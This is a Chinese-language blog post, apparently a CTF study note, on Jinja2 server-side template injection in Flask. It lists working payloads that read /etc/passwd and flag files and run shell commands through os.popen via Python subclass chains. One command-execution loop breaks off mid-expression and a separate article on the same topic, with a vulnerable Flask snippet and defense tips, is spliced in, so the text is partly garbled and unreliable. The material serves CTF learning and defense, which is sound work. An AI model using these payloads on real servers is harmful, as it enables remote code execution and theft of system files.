SSTI模板注入及绕过姿势(基于Python-Jinja2)

前言:​SSTI(服务端模板注入),已然不再是一个新话题,近年来的CTF中还是也经常能遇到的,比如护网杯的easy_tonado、TWCTF的Shrine,19年的SCTF也出了Ruby ERB SSTI的考点;本篇对这部分总结一下,方便未来做题和复习的时候查阅!也欢迎各路大佬在评论区指正或者放出自己的WP链接互相学习!

各框架模板结构:(网图)

在这里插入图片描述

前置知识

简介

首先​简单说一下什么是SSTI(Server-Side Template Injection);即模板注入,与我们熟知的SQL注入、命令注入等原理大同小异。注入的原理可以这样描述:当用户的输入数据没有被合理的处理控制时,就有可能数据插入了程序段中变成了程序的一部分,从而改变了程序的执行逻辑;
漏洞成因在于:render_template函数在渲染模板的时候使用了%s来动态的替换字符串,我们知道Flask 中使用了Jinja2 作为模板渲染引擎,{ {}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{ {}}包裹的内容当做变量解析替换。比如{ {1+1}}会被解析成2。

利用流程

获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块

常用函数

__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

常见Payload

文件读取


# python3

{
   
   {
   
   ().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('cat /fl4g|base64').read()}}

# python2

{
   
   {
   
   ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}  


新发现的新利用(赶紧收集了)

[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()

通用命令执行


{
   
   % for c in [].__class__.__base__.__subclasses__() %}
  {
   
   % if c.__name__ == 'catch_warnings' %}
    {
   
   % for b in c.__init__.__globals__.values() %}
      {
   
   % if b.__class__ ==
### Jinja2 SSTI 攻击原理 在Web应用程序中,如果开发者允许用户输入的数据未经严格验证就传递给模板引擎进行渲染,则可能导致服务器端模板注入(Server-Side Template Injection, SSTI)。对于基于Jinja2的框架而言,攻击者可以通过精心构造恶意输入来执行任意代码。 #### 利用过程示例 假设存在一个简单的Flask应用,其中包含如下代码片段: ```python from flask import Flask, render_template_string app = Flask(__name__) @app.route('/unsafe/<string:name>') def unsafe(name): template = f'Hello {name}' return render_template_string(template) if __name__ == '__main__': app.run(debug=True) ``` 上述实现方式非常危险,因为`render_template_string()`函数直接将未经过滤的名字参数作为模板的一部分进行了渲染。此时,攻击者可以提交特殊构造的字符串,例如`{{7*7}}`,这将会使服务返回计算结果而不是原始文本[^1]。 更进一步地,通过访问路径 `/unsafe/{{''.__class__.__mro__[2].__subclasses__()}}` ,攻击者可以获得当前环境中所有已加载类的对象列表,从而可能发现可用于远程命令执行或其他形式提权操作的具体实例[^3]。 然而值得注意的是,在实际渗透测试过程中应当遵循合法授权范围内的活动准则;非法入侵他人计算机信息系统属于违法行为。 ### 防护建议 为了防止此类漏洞的发生,应该采取以下几种策略之一或组合使用: - **最小权限原则**:确保运行Web应用程序的服务进程仅具有完成工作所需的最低限度的操作系统级权限。 - **禁用调试模式**:生产环境下的部署应关闭任何不必要的功能选项,特别是那些涉及动态编译或解释器交互的功能开关。 - **白名单校验机制**:对传入的应用逻辑控制流影响较大的变量实施严格的格式化检查,只接受预期之内安全值域内的输入项。 - **自定义沙箱环境**:针对特定场景定制化的限制性上下文空间内解析并执行模板指令集,阻止潜在危害扩散至整个宿主平台之外。 - **更新依赖库版本**:定期审查项目所使用的第三方组件清单,并及时升级到最新稳定发行版以修复已知的安全隐患[^2]。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值